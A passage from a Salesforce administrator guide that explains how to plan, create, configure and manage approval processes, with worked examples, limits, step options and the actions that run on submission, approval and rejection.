require additional approval from two VPs. This example highlights the “else” option, as well as the parallel approvals feature.

• If you do not yet have a custom object to track your expenses, create a custom object and tab called Expense Reports. See
Defining Custom Objects on page 1369 and Defining Custom Tabs on page 1394. Add the appropriate fields such as Amount,
Description, Status, Start Date, and End Date.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 423.

1448
Create Getting Started with Approval Processes

• Create a custom field on the user object called Office Location. Assign the “HQ” value to users in the headquarters
office location.
• Create the approval process and specify the following:

- Select the Expense Report custom object.


- The filter criteria for this approval process is Current User: Office Location equals HQ. Records must
meet this criteria before they can be submitted to this approval process.
- Choose the Manager field as the next automated approver.
- Select the email template you created for this approval process.
- Choose the record owner or any other user who you want to be able to submit expense reports.
- Create two approval steps:
Name this step Step 1: Manager Approval

- Select Enter this step if the following and choose criteria are met. Also, choose approve record
for the else option.
- Set the filter criteria to: Expense: Amount greater or equal 50.
- In the Automatically assign to approver(s) option, select the manager of the user submitting the
request.
- If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.

Name this step Step 2: Multiple VP Approval

- Use the filter criteria Expense Amount greater or equal 5000.


- Choose Automatically assign to approver(s) and select two users with a VP role.
- Select the Require UNANIMOUS approval from all selected approvers option. The request
will not be approved unless both designated users approve.
- If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.
- Choose Perform ONLY the rejection actions for this step... so that the request returns to
the manager for changes if one of the VPs rejects the request.

- Consider creating the following final approval actions:


- Define a field update to automatically change the Status field to “Approved.”
- Send an approval notification to the user who submitted the expense report.
- Send an outbound message to your backoffice financial system to print a reimbursement check.

• Add the Approval History related list to the Expense Report object page layout. See Customizing Page Layouts on page
1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 1042.
• If available, use your sandbox to test the approval process.
• Activate the approval process.

1449
Create Getting Started with Approval Processes

Discounting Opportunities
Opportunities that are discounted more than 40% require a CEO approval. Use this example to create a one-step approval
process.

• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 423.
• Create a custom percent field on opportunities called Discount Percent so that users can enter a percentage discount.
• Create a custom checkbox field on opportunities called Discount Approved to indicate if the CEO approved the
discount.
• Create the approval process and specify the following:

- Select the Opportunity object.


- The filter criteria for this approval process is Discount Percent greater or equal 0.04. Records must
meet this criteria before they can be submitted to this approval process.
- No need to choose a custom field as the next automated approver because you will specify later in the process that the
CEO must approve all requests.
- Select the email template you created for this approval process.
- Choose the record owner as the only user who can submit a discount request for approval.
- Create one approval step with no filter criteria because all records submitted will need to be approved or rejected. See
Creating Approval Steps on page 1460.
- Choose Automatically assign to approver(s) and select the name of your CEO.
- If appropriate, choose The approver's delegate may also approve this request if you want to allow
the user in the Delegated Approver field to approve requests.
- Consider creating the following final approval actions:

- Send an approval notification to the user who submitted the discount request.
- Define a field update to automatically select the opportunity Discount Approved checkbox field.

• Add the Approval History related list to the appropriate opportunity page layouts See Customizing Page Layouts on page
1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 1042.
• If available, use your sandbox to test the approval process.
• Activate the approval process.

Job Candidates
When your company interviews candidates for a position, you may have several levels of approval before you can send an offer
letter. Use this example to create a three-step approval process that requires approval from multiple levels of management.

• If you do not yet have a custom object to track candidates, create a custom object and tab called Candidates. See Defining
Custom Objects on page 1369 and Defining Custom Tabs on page 1394. Add the appropriate fields such as Salary, Offer
Extended (checkbox), and Date of Hire.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 423.

1450
Create Getting Started with Approval Processes

• Create the approval process using the following specifications:

- Select the Candidate custom object.


- No need to enter a filter criteria because you want all submitted offers to be approved.
- Choose the Manager field as the next automated approver.
- Select the email template you created for this approval process.
- Choose the record owner or any other user that you want to be able to submit offer letters.
- Create three approval steps:
Name this step Step 1: Manager Approval

- No filter necessary as you want all records to advance to this step.


- In the Automatically assign to approver(s) option, select the manager of the user submitting the
request.
- If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.

Name this step Step 2: VP Approval

- No filter necessary as you want all records to advance to this step.


- Choose Let the user choose the approver to allow the manager to select the appropriate VP to
approve the request.
- If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.
- Choose Perform ONLY the rejection actions for this step... so that the request returns to
the manager for changes if the VP rejects the request.

Name this step Step 3: CFO Approval

- No filter necessary as you want all records to advance to this step.


- Choose Automatically assign to approver(s) and select the name of your CFO.
- If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.
- Choose Perform all rejection actions for this step AND all final rejection
actions. (Final Rejection) so that offer letters rejected by your CFO are completely rejected.

- Consider creating the following final approval actions:

- Send an approval notification to the user who submitted the offer letter request.
- Define a field update to select the Offer Extended checkbox field.

- Consider creating the following final rejection actions:

- Send a notification to the manager that the offer will not be extended.

• Add the Approval History related list to the Candidates object page layout. See Customizing Page Layouts on page 1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 1042.

1451
Create Getting Started with Approval Processes

• If available, use your sandbox to test the approval process.


• Activate the approval process.

Choosing an Approval Process Wizard


Available in: Enterprise, Unlimited, and Developer Editions

Approval processes require planning and preparation. Before you create an approval process, determine which wizard is best
for your needs.
Jump Start Wizard
The jump start wizard is useful for simple approval processes with a single step. Use the jump start wizard if you want
to create an approval process quickly by allowing Salesforce.com to automatically choose some default options for you.
For a list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections
on page 1475.
To create an approval process using the jump start wizard, see Using the Approval Process Jump Start Wizard on page
1472.

Standard Wizard
The standard wizard is useful for complex approval processes. Use it when you want to fine tune the steps in your approval
process. The standard wizard consists of a setup wizard that allows you to define your process and another setup wizard
that allows you to define each step in the process.
To create an approval process using the standard wizard, see Creating Approval Processes on page 1455.

See Also:
Approval Processes Overview
Getting Started with Approval Processes
Examples of Approval Processes

Approval Process Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals: Various user permissions required depending on the action

Before you implement an approval process for your organization, consider the following:

1452
Create Getting Started with Approval Processes

• Active approval processes cannot be deleted but they can be deactivated. Before deleting an approval process, make sure
it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and
remove them from the Recycle Bin.
• You can enable email approval response. The email approval response feature gives users the ability to approve or reject
email approval requests by replying to the email.
• After an approval process is activated, you can't add, delete, or change the order of the steps or change reject or skip behavior
for that process, even if you make the process inactive.
• There is a limit of 15 approval steps per approval process.
• There is a limit of 25 approvers per step.
• Educate your users on the criteria for each approval process and what each of your approval processes does. Users cannot
tell what approval process is triggered when they click Submit for Approval.
• Records are locked while in an approval process. The ability to edit a locked record depends on the record editability setting
of the approval process:

- Administrators ONLY: Only users with the “Modify All” object-level permission for the given object, or the “Modify
All Data” permission, can edit locked records.
- Administrators or the currently assigned approver...: The current approver and users who match
the Administrators ONLY criteria can edit locked records. The current approver must also have edit access to the
record through their profile permissions and the organization-wide sharing defaults for the given object.

You can still add campaign members to campaigns locked for approval.
• An error message displays for the user submitting an approval request if the approval request needs to go to the user's direct
manager and there is no direct manager for that user.
• An error message displays for the user submitting an approval request if the approval process has a field update that fails
field validation rules. This could happen for a field that is not visible on the user's page layout.
• An error message displays for the user submitting an approval request for an entitlement or service contract if both these
conditions are met:

- The approval process includes Record Owner as an initial submitter


- The user submitting the approval request isn't the owner of the account associated with the entitlement or service
contract

• The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval
process, Salesforce.com recommends creating a custom status field.
• Approval processes that allow the user to select an approver manually also allow the user submitting a request to select
himself or herself as the approver.
• You cannot use email approval response with approval processes in which the assigned approver is a queue.
• You cannot create outbound messages for approval processes on junction objects.
• When the assigned approver is a queue:

- Any queue member can approve or reject an approval request that is assigned to the queue.
- When an approval request is assigned to a queue, the email notification is sent to the email address for the queue.
Depending on your queue settings, an email notification is also sent to each queue member.
- When an approval request is rejected and returned to the previous approver and the previous approver was a queue, the
approval request is assigned to the user who approved it, instead of the queue.
- The Approval History related list displays the queue name in the Assigned To column and the actual user who
approved or rejected the approval request in the Actual Approver column.
- Delegates of all queue members can approve requests when the process step is configured to allow delegated approvers.

1453
Create Managing Approval Processes

Note: Queues are only available on specific objects. For more information on queues, see Managing Queues on
page 500.

See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Processes Overview
Using the Process Visualizer
Examples of Approval Processes

Managing Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, delete, or clone approval processes: “Customize Application”
To view approval processes: “View Setup and Configuration”

An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
To manage approval processes, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.

• Select an object from the drop-down list to create, edit, or delete approval processes for that object.
• To create a new approval process, click Create New Approval Process. See Creating Approval Processes on page 1455.
• To change the order of your active approval processes, change the numbers in the Process Order column and click Reorder.
• Click Del next to an inactive approval process to delete it. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them from
the Recycle Bin.
• Click Edit next to an approval process to change it.
• Click Activate next to an inactive approval process to activate it. An approval process must have at least one step before
you can activate it.
• Click Deactivate next to an active approval process to make it inactive. The approval process moves to the list of inactive
approval processes.
• Select an approval process to view the details:

- Click Clone to create a new approval process based on the selected approval process.
- Click Deactivate to make the approval process inactive.

1454
Create Managing Approval Processes

- Click Delete to delete an inactive approval process. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them
from the Recycle Bin.
- Click Edit and choose an option from the drop-down button to jump to the appropriate wizard page:

- Specify Name, Unique Name, and Description


- Specify Criteria for Entering Process
- Specify Approver Field and Record Editability
- Select Email Notification Template
- Configure Approval Request Page Layout
- Specify Initial Submitters

Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Process Checklist
Managing Multiple Approval Requests
Using the Process Visualizer
Examples of Approval Processes

Creating Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
Before you begin, determine which wizard to use. See Choosing an Approval Process Wizard on page 1452.To create an approval
process:

1. Launch the Approval Process Wizard.


2. Specify Name, Unique Name, and Description.
3. Specify Criteria for Entering Process.

1455
Create Managing Approval Processes

4. Specify Approver Field and Record Editability.


5. Select Email Notification Template.
6. Configure Approval Request Page Layout.
7. Specify Initial Submitters.
8. Activate the Approval Process.

Launch the Approval Process Wizard


1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.
2. Choose the object for the new approval process.
3. Click Create New Approval Process and choose Use Standard Setup Wizard from the drop-down button. Alternatively,
click Use Jump Start Wizard if you want to create a basic approval process with default settings. For instructions on using
the jump start wizard, see Using the Approval Process Jump Start Wizard on page 1472.

Specify Name, Unique Name, and Description


1. Enter a name for the new approval process.
2. Enter a unique name, which will be used to refer to this approval process in the Force.com API. In managed packages,
this unique name prevents naming conflicts on package installations. The requirement for uniqueness is only within the
selected object type. You can have two approval processes with the same unique name, provided they are defined for
different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only
underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.
3. Optionally, enter a description to distinguish this approval process from others.
4. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

Specify Criteria for Entering Process


If only certain types of records should enter this approval process, do one of the following:
• Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process. For
example, if only employees from headquarters should use this approval process to submit expense reports, enter the following
filter criteria: “Current User: Office Location Equals Headquarters.” For more information on using filter criteria, see
Entering Filter Criteria on page 2163.
1. Enter your filter criteria for records that you want included in this approval process. Leave the filter blank if you want
all records submitted to be included in the approval process. For information on using filter criteria, see Entering Filter
Criteria on page 2163.
Note: Select a current user field if you want the filter based on the user submitting an approval request.

2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

• Select formula evaluates to true if you want a formula to determine what records enter the approval process.
1. Enter a formula that returns “True” or “False.” A record enters the approval process if the formula returns “True.” For
example, use the following formula to require a record to enter this approval process when the record's discount approval
cutoff date is less than 30 days away:

(Discount_Approval_CutoffDate__c < (CloseDate - 30)

1456
Create Managing Approval Processes

2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
For information on using formulas, see Building Formulas on page 878. Some functions are not available in approval process
formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on
page 931.

Specify Approver Field and Record Editability


When you define approval steps, you can assign approval requests to different users. One option is to use a user field to
automatically route these requests. The user field can be any custom hierarchical relationship field such as Account Manager
or the Manager standard user field. To see some examples of specifying a user field as an approver field, see Examples of
Approval Processes on page 1447.
When a record is in the approval process, it is always locked; only an administrator can edit it. However, you may choose to
also allow the currently-assigned approver to edit the record. You can still add campaign members to campaigns locked for
approval.
1. From the Next Automated Approver Determined By picklist, select a user field if you want Salesforce.com to
automatically assign approval requests to an approver based on the value in the user field. For example, you may want
approval requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field.
Alternatively, you may want approval requests automatically routed to an associate specified in a custom Account Manager
user field.
• To specify a user to approve all approval requests, leave this field blank. You can select a user, or users, as the approver
when creating an approval step.
Caution: If you leave the Next Automated Approver Determined By field blank, you cannot
automatically assign approval requests to the manager in any step you create for this approval process.

• Optionally, select the Use Approver Field of Record Owner checkbox if you want the approval process to use
the Manager standard user field or custom field on the record owner's user record instead of the submitter's user record.
Once you use this setting in a step, and in subsequent steps, it refers to the manager of the approver, not the manager
of the record owner.
Note: Make sure the assigned approver has access to read the records for the approval requests. For example, a
user who does not have read access to an Expenses custom object will not be able to view expense approval requests.

2. Select Administrators ONLY... if you want only users with the “Modify All” object-level permission for the given
object, or the “Modify All Data” permission, to be able to edit records that are pending approval. Select Administrators
OR... if you want the assigned approver to be able to edit the records too. The assigned approver must also have edit
access to the record through both their profile permissions and the organization-wide sharing defaults for the given object.
When a record is submitted for approval, it is automatically locked to prevent other users from editing it during the approval
process.
3. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

Select Email Notification Template


When an approval process assigns an approval request to a user, Salesforce.com automatically sends the user an approval request
email. The email contains a link the user can click to access the approval page in Salesforce.com, which lets the user approve
or reject the request and add comments. If email approval response is enabled, the user can alternatively reply to the email by
typing approve, approved, yes, reject, rejected, or no in the first line of the email body, and adding comments
in the second line. This option is especially useful for users who might receive approval requests on a mobile device.

1457
Create Managing Approval Processes

1. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 423.
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user does not respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce.com does not register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
use the template for any other email alert action—in either workflow rules or approval processes—the merge fields
will return a null value.

2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

Configure Approval Request Page Layout


The approval page is where an approver approves or rejects a request.
1. Select the fields you want to display on the approval request page and click Add.
2. Sort the fields by selecting them and clicking Up or Down.
3. Select Display approval history information... to include the Approval History related list that lists such
fields as Date, Assigned To, Actual Approver, and Comments. To modify the fields displayed on the Approval
History related list, see Customizing Page Layouts on page 1014.
4. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
5. Choose a security setting:
Allow approvers to access the approval page only from within the application
Requires users to log in to Salesforce.com before approving or rejecting an approval request.

Allow approvers to access the approval page only from within the application, or
externally from a wireless-enabled mobile device
Users can approve requests from the email notification they receive via a wireless device. Note that this prevents the
approver from selecting a Salesforce.com user as the next approver.
6. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

Specify Initial Submitters


Specify which users are allowed to submit records for approval. For example, choose Owner if expense reports can only be
submitted by record owners.
1. Select a Submitter Type, enter a search term, and click Find.
2. Select from the list of available submitters and click Add.
3. Optionally, select Allow submitters to recall approval requests to give submitters the option to withdraw their approval
requests. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters
and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of
submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending
approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page
1468.
This option is useful for situations that can change on the submitter's side while waiting for an approval. For example, an
opportunity might be lost after the user submits it for approval.

1458
Create Managing Approval Processes

4. Click Save.

Activate the Approval Process


Activate the process after you have created at least one approval step for the approval process. See Creating Approval Steps
on page 1460.
To activate a process:
1. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
2. Click Activate next to the process.

See Also:
Getting Started with Approval Processes
Managing Approval Processes
Managing Approval Steps
Customizing Workflow and Approval Settings
Initial Submission Actions
Final Approval Actions
Final Rejection Actions
Recall Actions
Selecting Approval Actions
Creating Approval Actions
Using the Process Visualizer
Approval Process Considerations
Examples of Approval Processes

Managing Approval Steps

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit or delete approval steps: “Customize Application”
To view approval steps: “View Setup and Configuration”

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
To manage the steps for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes and
then select the approval process.

1459
Create Managing Approval Processes

The Approval Steps related list shows all the steps and actions for the approval process.

• If the actions for each step are not listed, click Show Actions to display the Approval Actions and Rejection Actions related
lists. Use these related lists to:

- Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow
rules that use it. This option is only available for some types of actions.
- Click Remove to remove the action from the approval process. This does not delete the action. This option is only
available for some types of actions.
- Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
- Click Add New and select the appropriate type to create a new action and associate it with the approval process. See
Creating Approval Actions on page 1471.

• Click Hide Actions to collapse the list of approval steps.


• Click Edit to change the step. For information on approval step attributes, see Creating Approval Steps on page 1460.
• Click Del to remove a step. This option is not available when the approval process is active.
• Click New Approval Step to create an additional step. This option is not available when the approval process is active.
See Creating Approval Steps on page 1460.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Using the Process Visualizer
Examples of Approval Processes

Creating Approval Steps

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval steps: “Customize Application”

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
The actions you associate with an approval step can be reused in workflow rules. To create approval steps:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes, and select the name of the approval process.
2. Click New Approval Step from the Approval Steps related list. If this button is not available, the approval process is active
and you cannot add more steps. There is a limit of 15 approval steps per approval process.
3. Enter a name, a unique name, and description for this step.

1460
Create Managing Approval Processes

Note: The Unique Name field can contain only underscores and alphanumeric characters. It must be unique
within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain
two consecutive underscores. The unique name will be used to refer to this specific approval process step in the
Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The
requirement for uniqueness is only within a specific approval process. You can have two approval process steps
with the same unique name, provided they are defined for different approval processes.

4. Enter a step number that determines the order of this step in relation to the other steps in this approval process.
5. Click Next.
6. If only records with certain attributes should enter this step, select Enter this step if the following... and
choose one of the following options:

• Select criteria are met and set the filter criteria a record must meet to enter this step. For example, if this step
should only apply to records submitted by employees from headquarters, enter the following filter criteria: Current
User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering
Filter Criteria on page 2163.
• Select formula evaluates to true and enter a formula that returns a value of “True” or “False.” Records enter
this step only if the formula returns“True.” For example, use the following formula to require a record to enter this
approval step when the record's discount percentage is greater than the most recent approver's discount threshold:

(Discount_Percentage__c > $User.Discount_Threshold__c)

For information on using formulas, see Building Formulas on page 878. Some functions are not available in approval
step formulas. For information on which functions you can use in approval step formulas, see Operators and Functions
on page 931.

7. If you specified filter criteria or entered a formula, choose what should happen to records that do not meet the criteria or
if the formula does not return “True.”
Note: You cannot change your selection after the approval process has been activated, even if you deactivate the
approval process.

The options are:


approve record
Automatically approves the request and performs all final approval actions.

reject record
Automatically rejects the request and performs all final rejection actions. This option is only available for the first
step in the approval process.

go to next step
Automatically skips this step and goes to the next step.

Important:

• The go to next step option is only available when editing a step that already has an ensuing step. To
select go to next step, create an ensuing step, then select this option in the preceding step.
• The go to next step option is unavailable for the final step in the approval process.

1461
Create Managing Approval Processes

• If you select go to next step in a step and delete all the ensuing steps, Salesforce.com automatically
removes the go to next step definition from that step and ends the process if the step criteria are not
met. However, if you select go to next step in your first step and delete all the ensuing steps, Salesforce.com
changes the first step to automatically reject record if the step criteria are not met.
• If you select go to next step in the first step and the record does not meet the criteria for any of the steps
in the approval process, the record is rejected.

8. Click Next.
9. Specify who must approve the approval requests that enter this step. The options are:
Let the submitter choose the approver manually.
Prompts the user to manually select the next approver.

Automatically assign using the user field selected earlier.


Assigns the approval request to the user in the custom field that is displayed next to this option. This custom field
was selected during the configuration of the approval process. See Creating Approval Processes on page 1455.

Automatically assign to a queue.


Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information
on queues, see Managing Queues on page 500. For more information on approval requests assigned to queues, see
Approval Process Considerations on page 1452.

Automatically assign to approver(s).


Assigns the approval request to one or more of the following:
User
Any Salesforce.com user in your organization.

Related User
A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.

Note: When specifying approvers, note the following:

• Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object can't view expense approval requests.
• You can't assign approval requests to partner users.
• You can't use email approval response with an approval process in which a queue is the assigned approver.
• You can assign an approval request to the same user multiple times in a single step; however, Salesforce.com
recognizes such redundancies and only requests a single approval from the user.
• After a record enters an approval step, the designated approvers for that step don't change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.

1462
Create Managing Approval Processes

Require unanimous approval from all selected approvers.


The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the
approvers reject the request.
11. Optionally, select The approver's delegate may also approve this request. A delegate is the user listed
in the Delegated Approver field on the assigned approver's user detail page. Delegated approvers can't reassign approval
requests; they can only approve or reject approval requests.
12. If this is not the first step in the approval process, specify what will happen if the approver rejects a request in this step:
Perform all rejection actions...
Automatically rejects the request completely regardless of any previous steps that were approved. Salesforce.com
performs all rejection actions specified for this step and all final rejection actions.

Perform ONLY the rejection actions for this step...


Automatically rejects the request and returns the approval request to the previous approver. Salesforce.com performs
all rejection actions specified for this step.

Note: If this is the first step in an approval process, the rejection behavior is determined by the Final Rejection
Actions for the approval process.

13. Click Save.


14. Specify any workflow actions you want to occur during this step:
Yes, I'd like to create a new approval action...
Select the type of action and click Go! to begin creating an action and associate it with this approval step.

Yes, I'd like to create a new rejection action...


Select the type of action and click Go! to begin creating an action and associate it with this approval step.

No, I'll do this later...


Select this option and click Go! to view the details of the approval process.

Approval actions execute when a record in this step of the approval process is approved. Rejection actions execute when a
record in this step is rejected. For instructions on adding actions, see Selecting Approval Actions on page 1469 and Creating
Approval Actions on page 1471.
15. Optionally, add additional approval actions and rejection actions to the step. Click Show Actions next to a step to view
the Approval Actions and Rejection Actions related lists.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer
Examples of Approval Processes

1463
Create Managing Approval Processes

Changing Your Approval User Preferences

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view approval processes: “View Setup and Configuration”
To approve, reject, or reassign approval requests: Permissions vary depending on the approval process settings

The Approver Settings section of the User detail page lets you set your preferences for receiving approval request emails,
including opting not to receive them at all.
To set up or edit your Approver Settings, click Setup ➤ My Personal Information ➤ Personal Information. Click Edit on
the User detail page.
In the Approver Settings section, you can:

• Optionally, select your Delegated Approver.


• Optionally, enter your Manager.
• Set your preference for receiving approval request emails. The options are:

- Only if I am an approver
- Never—If you select this option, you will not receive any approval request emails, even if your organization has email
approval response enabled. However, if the assignee of an approval step is a queue, selecting Never may not block all
approval request emails, depending the queue settings.

See Also:
Managing Approval Steps
Creating Approval Steps
Approval Process Terminology
Setting Up Queues

Initial Submission Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit initial submission actions: “Customize Application”

Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to
lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as

1464
Create Managing Approval Processes

email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval
status field to “In Progress.”
When a user submits a record for approval, Salesforce.com sends an approval request email to the approver as defined in the
approval step, and then executes a default initial submission action called Record Lock. You can select up to 40 additional
actions to occur when a record is initially submitted for approval, 10 of each of the following types:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the initial submission actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤
Approval Processes and select the approval process.
The Initial Submission Actions related list shows all the actions that take place when a record is submitted for approval.

• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:

- Configure the email alert.


- Configure the field update.
- Configure the outbound message.
- Configure the task.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer

1465
Create Managing Approval Processes

Final Approval Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit final approval actions: “Customize Application”

Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions
can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status
to “Approved” and send an email notification.
When a record has been approved by all approvers, Salesforce.com executes all final approval actions. A default final approval
action called Record Lock is selected for you. You can modify it to automatically lock or unlock the record. You can select up
to 40 additional actions to occur when a record is finally approved, 10 of each of the following types:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the final approval actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes, and select the approval process.
The Final Approval Actions related list shows all the actions that take place when a record is finally approved.

• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:

- Configure the email alert.


- Configure the field update.
- Configure the outbound message.

1466
Create Managing Approval Processes

- Configure the task.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer

Final Rejection Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit final rejection actions: “Customize Application”

Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state.
Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action
can change the status to “Rejected,” send an email notification, and unlock the record so that users can edit it before resubmitting.
When a record has been rejected by all approvers, Salesforce.com executes all final rejection actions. A default final rejection
action called Record Lock is selected for you. You can modify it to automatically lock or unlock a record. You can select up
to 40 additional actions to occur when a record is rejected, 10 of each of the following types:

Type Description
